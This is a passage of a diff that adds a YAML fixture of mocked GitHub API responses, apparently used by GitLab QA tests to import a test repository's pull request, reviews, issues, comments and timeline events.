+ "url": "https://api.github.com/licenses/mit"
+ },
+ "merges_url": "https://api.github.com/repos/gitlab-qa-github/import-test/merges",
+ "milestones_url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones{/number}",
+ "mirror_url": null,
+ "name": "import-test",
+ "node_id": "R_kgDOG9XHMA",
+ "notifications_url": "https://api.github.com/repos/gitlab-qa-github/import-test/notifications{?since,all,participating}",
+ "open_issues": 2,
+ "open_issues_count": 2,
+ "owner": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "private": false,
+ "pulls_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls{/number}",
+ "pushed_at": "2022-10-24T08:06:37Z",
+ "releases_url": "https://api.github.com/repos/gitlab-qa-github/import-test/releases{/id}",
+ "size": 4,
+ "ssh_url": "git@github.com:gitlab-qa-github/import-test.git",
+ "stargazers_count": 0,
+ "stargazers_url": "https://api.github.com/repos/gitlab-qa-github/import-test/stargazers",
+ "statuses_url": "https://api.github.com/repos/gitlab-qa-github/import-test/statuses/{sha}",
+ "subscribers_url": "https://api.github.com/repos/gitlab-qa-github/import-test/subscribers",
+ "subscription_url": "https://api.github.com/repos/gitlab-qa-github/import-test/subscription",
+ "svn_url": "https://github.com/gitlab-qa-github/import-test",
+ "tags_url": "https://api.github.com/repos/gitlab-qa-github/import-test/tags",
+ "teams_url": "https://api.github.com/repos/gitlab-qa-github/import-test/teams",
+ "topics": [],
+ "trees_url": "https://api.github.com/repos/gitlab-qa-github/import-test/git/trees{/sha}",
+ "updated_at": "2022-07-07T10:11:28Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test",
+ "visibility": "public",
+ "watchers": 0,
+ "watchers_count": 0,
+ "web_commit_signoff_required": false
+ },
+ "sha": "05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ },
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2",
+ "id": 872806899,
+ "issue_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2",
+ "labels": [
+ {
+ "color": "0075ca",
+ "default": true,
+ "description": "Improvements or additions to documentation",
+ "id": 3902072341,
+ "name": "documentation",
+ "node_id": "LA_kwDOG9XHMM7olOYV",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/documentation"
+ }
+ ],
+ "locked": false,
+ "merge_commit_sha": "e95005795a22f9bbf04a6398bdeed206f4e5d26d",
+ "merged_at": null,
+ "milestone": {
+ "closed_at": null,
+ "closed_issues": 0,
+ "created_at": "2022-03-07T07:54:43Z",
+ "creator": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "description": null,
+ "due_on": null,
+ "html_url": "https://github.com/gitlab-qa-github/import-test/milestone/1",
+ "id": 7741550,
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones/1/labels",
+ "node_id": "MI_kwDOG9XHMM4AdiBu",
+ "number": 1,
+ "open_issues": 2,
+ "state": "open",
+ "title": "0.0.1",
+ "updated_at": "2022-07-07T10:01:32Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones/1"
+ },
+ "node_id": "PR_kwDOG9XHMM40Bfnz",
+ "number": 2,
+ "patch_url": "https://github.com/gitlab-qa-github/import-test/pull/2.patch",
+ "requested_reviewers": [],
+ "requested_teams": [],
+ "review_comment_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/comments{/number}",
+ "review_comments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2/comments",
+ "state": "open",
+ "statuses_url": "https://api.github.com/repos/gitlab-qa-github/import-test/statuses/05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "title": "Test pull request",
+ "updated_at": "2022-12-27T09:57:21Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/pulls/2/requested_reviewers
+ method: GET
+ query_params:
+ per_page: '100'
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ {
+ "teams": [],
+ "users": []
+ }
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/pulls/2/reviews
+ method: GET
+ query_params:
+ per_page: '100'
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "_links": {
+ "html": {
+ "href": "https://github.com/gitlab-qa-github/import-test/pull/2#pullrequestreview-901341181"
+ },
+ "pull_request": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2"
+ }
+ },
+ "author_association": "OWNER",
+ "body": "Good but needs some improvement",
+ "commit_id": "05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2#pullrequestreview-901341181",
+ "id": 901341181,
+ "node_id": "PRR_kwDOG9XHMM41uV_9",
+ "pull_request_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2",
+ "state": "COMMENTED",
+ "submitted_at": "2022-03-07T08:01:18Z",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ },
+ {
+ "_links": {
+ "html": {
+ "href": "https://github.com/gitlab-qa-github/import-test/pull/2#pullrequestreview-1230532237"
+ },
+ "pull_request": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2"
+ }
+ },
+ "author_association": "COLLABORATOR",
+ "body": "",
+ "commit_id": "05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2#pullrequestreview-1230532237",
+ "id": 1230532237,
+ "node_id": "PRR_kwDOG9XHMM5JWG6N",
+ "pull_request_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2",
+ "state": "APPROVED",
+ "submitted_at": "2022-12-27T09:57:21Z",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/40021320?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa",
+ "id": 40021320,
+ "login": "gitlab-qa",
+ "node_id": "MDQ6VXNlcjQwMDIxMzIw",
+ "organizations_url": "https://api.github.com/users/gitlab-qa/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa"
+ }
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/issues
+ method: GET
+ query_params:
+ per_page: '100'
+ sort: created
+ state: all
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "active_lock_reason": null,
+ "assignee": null,
+ "assignees": [],
+ "author_association": "OWNER",
+ "body": "Test issue description",
+ "closed_at": null,
+ "comments": 2,
+ "comments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/1/comments",
+ "created_at": "2022-03-07T07:54:52Z",
+ "events_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/1/events",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/issues/1",
+ "id": 1161027859,
+ "labels": [
+ {
+ "color": "008672",
+ "default": true,
+ "description": "Extra attention is needed",
+ "id": 3902072344,
+ "name": "help wanted",
+ "node_id": "LA_kwDOG9XHMM7olOYY",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/help%20wanted"
+ },
+ {
+ "color": "7057ff",
+ "default": true,
+ "description": "Good for newcomers",
+ "id": 3902072345,
+ "name": "good first issue",
+ "node_id": "LA_kwDOG9XHMM7olOYZ",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/good%20first%20issue"
+ },
+ {
+ "color": "d876e3",
+ "default": true,
+ "description": "Further information is requested",
+ "id": 3902072347,
+ "name": "question",
+ "node_id": "LA_kwDOG9XHMM7olOYb",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/question"
+ }
+ ],
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/1/labels{/name}",
+ "locked": false,
+ "milestone": {
+ "closed_at": null,
+ "closed_issues": 0,
+ "created_at": "2022-03-07T07:54:43Z",
+ "creator": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "description": null,
+ "due_on": null,
+ "html_url": "https://github.com/gitlab-qa-github/import-test/milestone/1",
+ "id": 7741550,
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones/1/labels",
+ "node_id": "MI_kwDOG9XHMM4AdiBu",
+ "number": 1,
+ "open_issues": 2,
+ "state": "open",
+ "title": "0.0.1",
+ "updated_at": "2022-07-07T10:01:32Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones/1"
+ },
+ "node_id": "I_kwDOG9XHMM5FM-ET",
+ "number": 1,
+ "performed_via_github_app": null,
+ "reactions": {
+ "+1": 0,
+ "-1": 0,
+ "confused": 0,
+ "eyes": 0,
+ "heart": 0,
+ "hooray": 0,
+ "laugh": 0,
+ "rocket": 0,
+ "total_count": 0,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/1/reactions"
+ },
+ "repository_url": "https://api.github.com/repos/gitlab-qa-github/import-test",
+ "state": "open",
+ "state_reason": "reopened",
+ "timeline_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/1/timeline",
+ "title": "Test issue",
+ "updated_at": "2022-07-07T10:01:32Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/1",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ },
+ {
+ "active_lock_reason": null,
+ "assignee": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "assignees": [
+ {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ ],
+ "author_association": "OWNER",
+ "body": "Test pull request body",
+ "closed_at": null,
+ "comments": 1,
+ "comments_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/comments",
+ "created_at": "2022-03-07T07:58:10Z",
+ "draft": false,
+ "events_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/events",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2",
+ "id": 1161030385,
+ "labels": [
+ {
+ "color": "0075ca",
+ "default": true,
+ "description": "Improvements or additions to documentation",
+ "id": 3902072341,
+ "name": "documentation",
+ "node_id": "LA_kwDOG9XHMM7olOYV",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/labels/documentation"
+ }
+ ],
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/labels{/name}",
+ "locked": false,
+ "milestone": {
+ "closed_at": null,
+ "closed_issues": 0,
+ "created_at": "2022-03-07T07:54:43Z",
+ "creator": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "description": null,
+ "due_on": null,
+ "html_url": "https://github.com/gitlab-qa-github/import-test/milestone/1",
+ "id": 7741550,
+ "labels_url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones/1/labels",
+ "node_id": "MI_kwDOG9XHMM4AdiBu",
+ "number": 1,
+ "open_issues": 2,
+ "state": "open",
+ "title": "0.0.1",
+ "updated_at": "2022-07-07T10:01:32Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/milestones/1"
+ },
+ "node_id": "PR_kwDOG9XHMM40Bfnz",
+ "number": 2,
+ "performed_via_github_app": null,
+ "pull_request": {
+ "diff_url": "https://github.com/gitlab-qa-github/import-test/pull/2.diff",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2",
+ "merged_at": null,
+ "patch_url": "https://github.com/gitlab-qa-github/import-test/pull/2.patch",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2"
+ },
+ "reactions": {
+ "+1": 0,
+ "-1": 0,
+ "confused": 0,
+ "eyes": 0,
+ "heart": 0,
+ "hooray": 0,
+ "laugh": 0,
+ "rocket": 0,
+ "total_count": 0,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/reactions"
+ },
+ "repository_url": "https://api.github.com/repos/gitlab-qa-github/import-test",
+ "state": "open",
+ "state_reason": null,
+ "timeline_url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2/timeline",
+ "title": "Test pull request",
+ "updated_at": "2022-12-27T09:57:21Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/2",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/pulls/2/comments
+ method: GET
+ query_params:
+ per_page: '100'
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "_links": {
+ "html": {
+ "href": "https://github.com/gitlab-qa-github/import-test/pull/2#discussion_r820456469"
+ },
+ "pull_request": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2"
+ },
+ "self": {
+ "href": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/comments/820456469"
+ }
+ },
+ "author_association": "OWNER",
+ "body": "```suggestion\r\nProject for GitHub import test to GitLab\r\n```",
+ "commit_id": "05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "created_at": "2022-03-07T08:00:45Z",
+ "diff_hunk": "@@ -1,2 +1,3 @@\n # import-test\n-Project for github import test\n+Project for github import test to GitLab",
+ "html_url": "https://github.com/gitlab-qa-github/import-test/pull/2#discussion_r820456469",
+ "id": 820456469,
+ "line": 2,
+ "node_id": "PRRC_kwDOG9XHMM4w5ywV",
+ "original_commit_id": "05938cc9b0773f49bf800ceabcaa01b389a5d943",
+ "original_line": 2,
+ "original_position": 3,
+ "original_start_line": null,
+ "path": "README.md",
+ "position": 3,
+ "pull_request_review_id": 901341181,
+ "pull_request_url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/2",
+ "reactions": {
+ "+1": 0,
+ "-1": 0,
+ "confused": 0,
+ "eyes": 0,
+ "heart": 0,
+ "hooray": 0,
+ "laugh": 0,
+ "rocket": 0,
+ "total_count": 0,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/comments/820456469/reactions"
+ },
+ "side": "RIGHT",
+ "start_line": null,
+ "start_side": null,
+ "updated_at": "2022-03-07T08:01:18Z",
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/pulls/comments/820456469",
+ "user": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ }
+ }
+ ]
+
+- request:
+ path: /repos/gitlab-qa-github/import-test/issues/1/timeline
+ method: GET
+ query_params:
+ per_page: '100'
+ sort: created
+ state: all
+ headers:
+ Host: api.github.com
+ response:
+ status: 200
+ headers:
+ Content-Type: application/json; charset=utf-8
+ X-Ratelimit-Limit: '5000'
+ X-Ratelimit-Remaining: '5000'
+ body: |
+ [
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
+ "subscriptions_url": "https://api.github.com/users/gitlab-qa-github/subscriptions",
+ "type": "User",
+ "url": "https://api.github.com/users/gitlab-qa-github"
+ },
+ "commit_id": null,
+ "commit_url": null,
+ "created_at": "2022-03-07T07:54:52Z",
+ "event": "labeled",
+ "id": 6192721273,
+ "label": {
+ "color": "d876e3",
+ "name": "question"
+ },
+ "node_id": "LE_lADOG9XHMM5FM-ETzwAAAAFxHW15",
+ "performed_via_github_app": null,
+ "url": "https://api.github.com/repos/gitlab-qa-github/import-test/issues/events/6192721273"
+ },
+ {
+ "actor": {
+ "avatar_url": "https://avatars.githubusercontent.com/u/59606922?v=4",
+ "events_url": "https://api.github.com/users/gitlab-qa-github/events{/privacy}",
+ "followers_url": "https://api.github.com/users/gitlab-qa-github/followers",
+ "following_url": "https://api.github.com/users/gitlab-qa-github/following{/other_user}",
+ "gists_url": "https://api.github.com/users/gitlab-qa-github/gists{/gist_id}",
+ "gravatar_id": "",
+ "html_url": "https://github.com/gitlab-qa-github",
+ "id": 59606922,
+ "login": "gitlab-qa-github",
+ "node_id": "MDQ6VXNlcjU5NjA2OTIy",
+ "organizations_url": "https://api.github.com/users/gitlab-qa-github/orgs",
+ "received_events_url": "https://api.github.com/users/gitlab-qa-github/received_events",
+ "repos_url": "https://api.github.com/users/gitlab-qa-github/repos",
+ "site_admin": false,
+ "starred_url": "https://api.github.com/users/gitlab-qa-github/starred{/owner}{/repo}",
